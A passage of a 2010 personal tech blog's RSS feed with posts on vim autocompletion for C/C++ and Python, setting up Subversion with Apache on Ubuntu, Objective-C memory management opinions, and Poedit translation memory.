<title>C/C++ Auto Complete for vim</title>
<description>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div align='justify'&gt;In my last post I told how to make vim give auto complete suggestion for Python. Now its time for C and C++. During our college days in lab we used vim in C/C++ related labs and we had to remember each and every function the outcome was students bi-hearting the programs with out understanding it (of course they wont enjoy programing ;) ). Of course there are many editor with good features but the simple editor like vim also has very good feature (some time can say better than full fledged IDE's). Ok now lets get to the point. You need to download the following things before proceeding&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;1. &lt;a href='http://www.vim.org/scripts/script.php?script_id=1520'&gt;OmniCppComplete plugin&lt;/a&gt; for the vim&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;2. exuberant-ctags. (if you are using Debian based distro's you can use this command sudo apt-get install exuberant-ctags)&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;3. &lt;a href='http://www.vim.org/scripts/script.php?script_id=2358'&gt;CPP STL source&lt;/a&gt; for ctags&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;Procedure:&lt;br/&gt;1. Unpack the omnicpp*.zip file. the resulting folder has following structure&lt;br/&gt;OmniCpp-x.x&lt;br/&gt;      |_ doc&lt;br/&gt;      |_ autoload&lt;br/&gt;      |_ after&lt;br/&gt;         |_ ftplugin&lt;br/&gt;            |_ c.vim&lt;br/&gt;            |_ cpp.vim&lt;br/&gt;&lt;div align='justify'&gt;Copy each of this directory into ~/.vim folder. Note if you already have after directory structure in the ~/.vim just copy the 2 *.vim files into ~/.vim/after/ftplugin/ folder.&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;2. Now in the .vimrc if you haven't already enabled file type plugin enable it and the set nocp line above it. Your .vimrc should have lines looking like this&lt;br/&gt;&lt;/div&gt;&lt;blockquote&gt;  1 &quot; Enable file type plugins&lt;br/&gt;  2 set nocp&lt;br/&gt;  3 filetype plugin on&lt;br/&gt;&lt;/blockquote&gt;&lt;div align='justify'&gt;3. Create &lt;b&gt;tags&lt;/b&gt; directory inside the ~/.vim. &lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;4. Unpack the cpp_src.tar.bz2 and generate the tags for stl and move it to ~/.vim/tags directory. Use the following command&lt;br/&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;pre&gt;ctags -R --c++-kinds=+p --fields=+iaS --extra=+q --language-force=C++ cpp_src &amp;amp;&amp;amp; mv tags ~/.vim/tags/stl&lt;/pre&gt;&lt;/blockquote&gt;&lt;div align='justify'&gt;Explanation for the options can be found in the man pages of ctags. In ubuntu machine you may need to use sudo before both command. Similarly you can create tags for the Open GL Qt4 or any other libraries which are present in /usr/include directory. Each library will be present as directory for eg. If you have installed libxml2 you will have libxml2 directory. In the above command just change the directory name to appropriate one and also generated tags file to avoid over writing.&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;&lt;div align='justify'&gt;5. Well now some changes needed to do be done in .vimrc file. Copy paste the below code into your .vimrc&lt;br/&gt;&lt;/div&gt;&lt;blockquote&gt;  6 &quot; configure tags - add aditional tags here or comment out not-used ones&lt;br/&gt;  7 &quot;set tags+=~/.vim/tags/gl&lt;br/&gt;  8 set tags+=~/.vim/tags/stl&lt;br/&gt;  9 set tags+=~/.vim/tags/libxml2&lt;br/&gt; 10 set tags+=~/.vim/tags/llvmc&lt;br/&gt; 11 set tags+=~/.vim/tags/llvm&lt;br/&gt; 12 set tags+=~/.vim/tags/cairo&lt;br/&gt; 13 &lt;br/&gt; 14 &quot; build tags of your own project with CTRL+F12&lt;br/&gt; 15 &quot;map &amp;lt;C-F12&amp;gt; :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .&amp;lt;CR&amp;gt;&lt;br/&gt; 16 noremap &amp;lt;F12&amp;gt; :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .&amp;lt;cr&amp;gt;&lt;br/&gt; 17 inoremap &amp;lt;F12&amp;gt; &amp;lt;Esc&amp;gt;:!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .&amp;lt;cr&amp;gt;&lt;br/&gt; 18 &lt;br/&gt; 19 &quot; OmniCppComplete&lt;br/&gt; 20 let OmniCpp_NamespaceSearch = 1&lt;br/&gt; 21 let OmniCpp_GlobalScopeSearch = 1&lt;br/&gt; 22 let OmniCpp_ShowAccess = 1&lt;br/&gt; 23 let OmniCpp_MayCompleteDot = 1&lt;br/&gt; 24 let OmniCpp_MayCompleteArrow = 1&lt;br/&gt; 25 let OmniCpp_MayCompleteScope = 1&lt;br/&gt; 26 let OmniCpp_DefaultNamespaces = [&quot;std&quot;, &quot;_GLIBCXX_STD&quot;]&lt;br/&gt; 27 &lt;br/&gt; 28 &lt;br/&gt; 29 &quot; automatically open and close the popup menu / preview window&lt;br/&gt; 30 au CursorMovedI,InsertLeave * if pumvisible() == 0|silent! pclose|endif&lt;br/&gt; 31 set completeopt=menuone,menu,longest,preview&lt;br/&gt;&lt;/blockquote&gt;&lt;br/&gt;&lt;br/&gt;&lt;div align='justify'&gt;set directive points omnicppcomplete plugin to the proper tags, do comment or uncoment according to tags which you have generated, also ignore the numbers since I had turned on numbering in my vim it came and I'm lazy to remove all the numbers :P.&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;The next line is mapping of F12 key to generate tags for project you are working on currently. You need to manually use it if you want to use auto complete feature with your currently working file set. Note command assumes that all your files are present in current working directory. Below is the screen shot of my vim's auto complete in action.&lt;br/&gt;&lt;/div&gt;&lt;img src='http://lh4.ggpht.com/_Pms4ehFPMfI/S4pUiVsAT1I/AAAAAAAABTE/tUYfu25sPMg/%5BUNSET%5D.png?imgmax=800' style='max-width: 800px;'/&gt;&lt;br/&gt;&lt;br/&gt;&lt;div align='justify'&gt;Well that's all folks. Hope you will enjoy coding with vim's auto complete feature. C ya &lt;br/&gt;&lt;/div&gt;&lt;br/&gt;Vasudev&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=542a029f-8b65-8d8c-ba30-ddc24a35e213' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 28 Feb 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/02/cc-auto-complete-for-vim.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/02/cc-auto-complete-for-vim.html</guid>
</item>



<item>
<title>Python Auto Complete for vim</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;After struggling arround with lot of editors finally i made up my mind to continue with my old favourite editor vim. I choose Python as my primary language along with C and C++. Coming to the point I know vim 7.0 has auto complete feature but it works only by looking at what is already there in current workspace (content you are editing or creating). After googling a bit I came across this link &lt;a href=&quot;http://www.vim.org/scripts/script.php?script_id=850&quot;&gt;Python Auto complete script for the vim&lt;/a&gt;. But had some trouble in setting up the things quickly. So writing this blog to make any other who want to use vim as their primary editor. :)&lt;br /&gt;1. From the above mentioned link please download the latest pydiction-x.x.zip wr x.x is version.&lt;br /&gt;2. In you home folder create .vim folder (if it doesn't already exists create one) unzip the contents. You will get a directory named pydiction-x.x containing following files&lt;br /&gt;&lt;ol&gt;&lt;li&gt;python_pydiction.vim&lt;/li&gt;&lt;li&gt;complete_dict&lt;/li&gt;&lt;li&gt;pydiction.py&lt;/li&gt;&lt;/ol&gt;python_pydiction.vim is vim script, you should move it to ~/.vim/after/ftplugin/ (again if directory doesn't exist create one ). This is the default location on *nix* systems where vim will be looking for the filtype plugin. &lt;span style=&quot;color: red;&quot;&gt;Note: Only move the .vim files to this directory&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;complete-dict is python dictionary containing all python function names. pydiction.py is used to extend this dictionary.&lt;br /&gt;Now you need to create a file .vimrc in your home folder (if such file doesn't exist already)and add the following lines to the beginning of the file&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style=&quot;color: black;&quot;&gt;&quot; Enable file type plugins&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;filetype plugin on&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: black;&quot;&gt;let g:pydiction_location='/home/vasudev/.vim/pydiction-1.2/complete-dict'&lt;/span&gt;&lt;/blockquote&gt;&lt;span style=&quot;color: black;&quot;&gt;First line tells vim to use file type plug-ins from ~/.vim/after/ftplugin and second line tells the location of dictionary file. Note: You can place this file any where in your system. Just give a proper path :)&lt;br /&gt;I'm still customizing the vim editor and will be writing all my customizations here soon so watch out folks ;)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;zemanta-pixie&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/pixy.gif?x-id=f1eda091-e0d1-8bf2-b4fe-8c0441fc2803&quot; /&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 21 Feb 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/02/python-auto-complete-for-vim.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/02/python-auto-complete-for-vim.html</guid>
</item>



<item>
<title>Installing and configuring Subversion with Apache on Ubuntu</title>
<description>&lt;div xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;To install the Subversion a popular version control system in Ubuntu or Debian based distro's follow the following steps. I'm configuring subversion with apache webserver using dav_svn module of apache2.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Get the subversion and tools using following command&lt;/div&gt;&lt;blockquote&gt;sudo apt-get install subversion subversion-tools&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. If you have not already install apache2 install using following command&lt;/div&gt;&lt;blockquote&gt;sudo apt-get install apache2&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. Install the subversion module for apache i.e mod_dav_svn. Use the following command&lt;/div&gt;&lt;blockquote&gt;sudo apt-get install libapache2-svn&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next is to create and configure a repository to work with. I've created a folder called svn in / folder inside which all repositories reside. You can choose any folder of your choice.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Create a directory svn under root partition i.e /&lt;/div&gt;&lt;blockquote&gt;sudo mkdir svn&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Create a folder for your project with which you want to use subversion. Taking project name is myproject here is the procedure to create svn repository&lt;/div&gt;&lt;blockquote&gt;cd /svn&lt;br /&gt;sudo mkdir myproject&lt;br /&gt;sudo svnadmin create myproject&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The svnadmin create command creates the repository. Next is to configure Apache server for serving this repository. Open the file /etc/apache2/mods-available/dav_svn.conf in your favourite editor. (Note you need to have su rights to save changes). Add the following lines&lt;/div&gt;&lt;blockquote&gt;&amp;lt;Location /svn/myproject&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; DAV svn&lt;br /&gt;&amp;nbsp;&amp;nbsp; SVNPath /svn/myproject&lt;br /&gt;&amp;nbsp;&amp;nbsp; AuthType Basic&lt;br /&gt;&amp;nbsp;&amp;nbsp; AuthName &quot;Subversion repository for myproject&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp; AuthUserFile /etc/subversion/passwd&lt;br /&gt;&amp;nbsp;&amp;nbsp; Require valid-user&lt;br /&gt;&amp;lt;/Location&amp;gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;SVNPath points to your repository. AuthType Basic means requires authentication. Now you need to create AuthFile i.e passwd file and also need to create the users for the repository. First lets see how to create the users.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Go to repository folder and enter the conf directory. i.e&lt;/div&gt;&lt;blockquote&gt;cd /path/to/repository/conf&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. edit the authz file. You may need to use sudo for that purpose. add the following lines.&lt;/div&gt;&lt;blockquote&gt;[group]&lt;br /&gt;commiter=vasudev&lt;br /&gt;developer=somedeveloper&lt;br /&gt;&lt;br /&gt;[repository:/]&lt;br /&gt;@commiter=rw&lt;br /&gt;@developer=r&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I always use this way you can create individual user and give them permissions though. [group] tells svn the groups of user for this repository. Second set i.e [repository:/] this is used to give permissions on particular folder tree under repository (normally repository will have trunk tag branches directory). The permission here applies to all the folder (i.e trunk tag branches). You can customize permission on each folder using several these sections. (If you use so be sure to put the root section at the end )&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. Next is creating the password file. I chose /etc/subversion folder to place my password file. Use the htpasswd command to create the password for each user mentioned in each group of authz file. After you are done reload the apache using following command&lt;/div&gt;&lt;blockquote&gt;sudo /etc/init.d/apache2 reload&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. Next is trunk tags and branches import. Create directories /tmp/myproject /tmp/myproject/trunk /tmp/myproject/tags /tmp/myproject/branches folder. And use the following command &lt;/div&gt;&lt;blockquote&gt;svn import /tmp/myproject http://localhost/svn/myproject -m &quot;Initial directory imports&quot;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;SVN will ask for the user name and password and then adds the directories to your repository. Once this is done you can use the svn import to import your existing project work to the trunk of the repository.&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well thats it you can access your repository by following http://localhost/svn/myproject from your browser or using any clients or IDE plugins. If you want nice UI while accessing the svn from browser you can either install view vc for apache2 or use WebSVN. Well let me write a post on Websvn, till then C ya.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;zemanta-pixie&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/pixy.gif?x-id=f7e14faf-387f-8aff-9171-f836470441ec&quot; /&gt;&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 21 Feb 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/02/installing-and-configuring-subversion-with-apache-on-ubuntu.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/02/installing-and-configuring-subversion-with-apache-on-ubuntu.html</guid>
</item>



<item>
<title>Objective C – My Opinions</title>
<description>&lt;div style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;a href=&quot;http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/ObjectiveC/Introduction/introObjectiveC.html&quot;&gt;Objective – C &lt;/a&gt;is a super set of C with messaging style of &lt;a href=&quot;http://en.wikipedia.org/wiki/Smalltalk&quot;&gt;Small Talk&lt;/a&gt; programming languages. Objective C is backbone of Apple's operating system. Cocoa and Cocoa Touch API's which are used by Macintosh OS and iPhone OS. Even though you don't need to use Apple platform to learn Objective C, GNUStep which is clone of NeXTStep based on OpenStep standard allows programming with Objective C and Cocoa based API's on either Windows or Linux platform with GCC complier. But if you want to become a full fledged programmer with Cocoa API's you need to use Mac OS X operating system (and ofcourse their hardware ;) )&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;Ok now to the point I was basically a programmer who worked on the Java, PHP and Python like dynamic and managed languages. But needs arised and I had to learn Objective C, as usual I learnt the basics of Objective C and started programming with Cocoa Touch API's (i.e iPhone). But within few days I learnt that Objective C is not like the languages which I've been using till now. Let me tell few things to keep in mind when moving from managed programming languages to a &lt;strike&gt;unmanged&lt;/strike&gt; programming language like Objective – C(&lt;b&gt;Before version 2.0. 2.0 has introduced a optional garbage collector, but for iPhone OS there is no garbage collector&lt;/b&gt;).&lt;br /&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;What is managed and unmanaged  languages? &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Programming  languages like Java is called managed language because programmer is  relived of the memory management issues. To be clear programmer can  allocate objects and just forget about it after that. Why I'm  telling like this is there is Garbage collector which will be run by  JVM periodically which will release these objects.&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;So  what are PHP and Pyhon like languages? Well these are also managed +  dynamic languages, meaning you don't have to declare a variable  before using them. System will decide their type during runtime.&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Comming  to unmanaged languages like Objective C (&lt;b&gt;Objective C 2.0 has introduced garbage collection though garbage collector is absent on iPhone OS&lt;/b&gt;). These languages except  programmer to handle the memory management. Meaning its up to  programmer to release the objects that he has allocated before  program exits. Well this is were most of the managed language  programmer feel difficulty while transiting to Objective C. We are  always told in our engineering courses that you need to release what  you allocate but nobody took it seriously that time :) and nobody  told us the importance of releasing objects that time (guess  lecturers themselves were not nowing the reason ;) ). But belive me   when I started with Objective C I understood the reason. It is to  avoid memory leaks and it becomes serious issue when your program is  supI feel Objective C should be introduced as part of academics in  India since it makes students to learn basics of memory management  which is most important thing to know before becomming a  professional programmer. And Objective C is more OO than the  C++.  Concepts OOP will be more clear with Objective C than C++ but point  should be noted that some concepts of OOP like abstractions are not  included in Objective C but I feel abstraction is not required in  normal scenarios :). According to me evethough its unmanaged  language Objective C is still a beautiful language out there.posed  to run on limited memory devices like phones PDA's etc.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;&lt;b&gt;Memory Leaks what  are these? &lt;/b&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Ok as I mentioned  in my last point in unmanaged languages not releasing the objects  which you allocate will lead to memory leaks. Let me try to define  it in my own terms :). OS allocates chunk of memory to the programs  and expects the programs to return it back when program is done. In  other words when you try to allocate  an object system gives a  memory reference to you (your program) and makes you (your program)  its owner. Owner here means once the memory reference is passed to  your program its management is upto your program including returning  it back to the OS. In other words if you fail to release what you  allocate that part of memory will not be touched by the OS even if  your program exits (untill and unless a hard reboot occurs) meaning  waste of resource and in small device ( also in normal computers )  this may lead to system crash.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Releasing what is  the big deal? &lt;/b&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;If you are  thinking like this I'll say think again :). This is another place  where the Java and other language programmer get trapped while  moving to Objective C. I know releasing is simple but keep in mind  if you release the object in wrong place you are in big trouble.  This normally happens in Objective C you release the objects  thinking its not of use any more but be sure before doing so why  because in case if you unknowingly refered to the same object again  your program crashes showing you EXEC_BAD_ACCESS and you wont even  know where this happened. You need to painful debugging to find out  and some times even debugging wont resolve the issue. Thanks to the  Apple for providing NSZombie and tools like Instruments, Shark and  Malloc Debug which will reduce the pain for certain extent but not  completely. In the sense it will give a clue on where thing is going  wrong andThis normally happens in Objective C you release the  objects thinking its not of use any more but be sure before doing so  why because in case if you unknowingly refered to the same object  again your program crashes showing you EXEC_BAD_ACCESS and you wont  even know where this happened. finding and fixing it is upto you.&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Some more points to be  remembered &lt;/b&gt;  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;As   I mentioned you should release only those objects of which you are   owner in the sense object created with init,alloc,retain etc. Never   try to release them or you will corrupt memory leading to a program   crash&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;If   you are not able to figure out why your program is crashing  use   NSZombie rather than still trying to debug the program.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol start=&quot;2&quot;&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Becareful   while using functions like mutableCopy you need to release the   object after the function or it will lead to a leak. i.e obj1 =   [[obj2 mutableCopy] autorelease]&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol start=&quot;2&quot;&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Use   property and synthesizers for the objects inside the class.&lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol start=&quot;2&quot;&gt;&lt;/ol&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well whatever points I mentioned here was my own personal experience. I never read the &lt;a href=&quot;http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/MemoryMgmt/MemoryMgmt.html&quot;&gt;Memory Management guide&lt;/a&gt; from Apple but I suggest you folks to do it first. Since I had to learn things quickly I couldn't read it.  &lt;b&gt;And if I have told anything wrongly or there is something were I can improve my self please do comment. Your suggestions are precious for me :).&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;I feel Objective C should be introduced as part of academics in India since it makes students to learn basics of memory management which is most important thing to know before becomming a professional programmer. And Objective C is more OO than the  C++. Concepts OOP will be more clear with Objective C than C++ but point should be noted that some concepts of OOP like abstractions are not included in Objective C but I feel abstraction is not required in normal scenarios :). According to me evethough its unmanaged language Objective C is still a beautiful language out there.&lt;br /&gt;&lt;b style=&quot;color: red;&quot;&gt;P.S When writing the article I was not aware of introduction of garbage collector n Objective C v2.0. So pardon me for my mistake but Objective C still remains unmanaged on the iPhone OS platform &lt;/b&gt;&lt;br /&gt;&lt;/div&gt;
</description>
<pubDate>Sat, 23 Jan 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/01/objective-c-my-opinions.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/01/objective-c-my-opinions.html</guid>
</item>



<item>
<title>Adding Translation Memory to Poedit</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Poedit is a cross-platform &lt;a href=&quot;http://www.gnu.org/software/gettext/&quot; target=&quot;_blank&quot; title=&quot;GNU Gettext&quot;&gt;gettext&lt;/a&gt; catalogs(.po file) editor. In this post i'm going to explain how to add translation memory to the poedit. Translation memory helps to increase the speed of translation process. Here translation memory refers to previously translated .po file may be from other translators. Ok lets see how to do this.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. First open the poedit and open &lt;b&gt;&lt;span style=&quot;color: grey;&quot;&gt;Edit &amp;gt; Preferences&lt;/span&gt;&lt;/b&gt; and click on &lt;span style=&quot;color: grey;&quot;&gt;&lt;b&gt;Translation Memory&lt;/b&gt; &lt;/span&gt;tab.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. In the new window which appears set the path where you want poedit to store the translation memory DB. (default value is recommended).&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3. Click Add button situated below the My Languages text area and select the language for which you want to add the translation memory. Multiple language translation memory can also be installed. Image below will give you clear picture on what i'm talking about.&lt;br /&gt;&lt;/div&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/AWbdlV0wcUlpdVuOqqUvZQ?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;Poedit Preferences&quot; src=&quot;http://lh5.ggpht.com/_Pms4ehFPMfI/S0lpdnkNYCI/AAAAAAAABP8/O8p4N6Tozkc/s400/Generate%20DB.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4.After you are done with above mentioned 3 steps now you can click on the &lt;b&gt;&lt;span style=&quot;color: grey;&quot;&gt;Generate Database&lt;/span&gt;&lt;/b&gt; button. This will bring up below shown window.&lt;br /&gt;&lt;/div&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/7b10g7YD80o870BP0KfhKQ?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;Translation memory&quot; src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/S0lplzMPYFI/AAAAAAAABQA/UVHOJU4Dk_c/s400/translation%20memory1.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. As you can see the window ask for specifying the folder where locale files are situated. You can just ignore this window and click on next.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;6. Here in this window click on &lt;b&gt;&lt;span style=&quot;color: grey;&quot;&gt;Add Files&lt;/span&gt;&lt;/b&gt;, and browse to the place where .po files for translation memory exists. You can select them all or one by one and click open. Once you click open the file name with its path appear in the window. Now you can click on finish and poedit starts scanning the .po files and create the translation memory for you.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;P.S: This may take some time depending on number of .po files you have selected. Image below gives you picture of what I told in above step (Step 6)&lt;br /&gt;&lt;/div&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/hQl79rMCHbhZOzPhXzsDVg?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;Adding files to tm&quot; src=&quot;http://lh4.ggpht.com/_Pms4ehFPMfI/S0lpwCfuPJI/AAAAAAAABQE/sWb58nqsIMU/s400/translation%20memory2.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Once everything is done open a .po file  for translation and right click on any string, for the first time poedit will popup a box asking for the language for which it should look for translation memory DB. Select the language and and again right click on the string and you will get possible translations for the selected string. I repeat possible translations not correct translations all the time. Select the translated string if you think its the correct translation for the current string. Image below gives you a clear picture on what i'm talking about.&lt;br /&gt;&lt;/div&gt;&lt;table border=&quot;0&quot; style=&quot;width: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/RN2m_B4IaKdt-Pc6pumc4Q?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;Select language&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/S0lp0c24f4I/AAAAAAAABQI/oapYsv5Wwno/s400/selecting%20language.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://picasaweb.google.com/lh/photo/1wSf4EIS-waBjs2bXJ0PFg?feat=embedwebsite&quot;&gt;&lt;img alt=&quot;Translation memory in action&quot; src=&quot;http://lh6.ggpht.com/_Pms4ehFPMfI/S0lp6JNMiEI/AAAAAAAABQM/FtTphwDSsK0/s400/using%20translation%20memory.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Few points to remember&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; 1. What ever translated strings shown by poedit using translation memory are suggestions and may not be the proper translation so don't completely rely on it. Its there only to speed up translation process by giving you some idea on current string.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; 2. In case your poedit starts crashing when you try to use translation memory you may need to delete existing translation memory and recreate them all again from scratch.&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt; Well thats all I wanted to say enjoy the translation process using poedit. C ya folks next time :)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 10 Jan 2010 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2010/01/adding-translation-memory-to-poedit.html</link>
<guid isPermaLink="true">http://copyninja.info/2010/01/adding-translation-memory-to-poedit.html</guid>
</item>



<item>
<title>Installing libxml on Ubuntu</title>
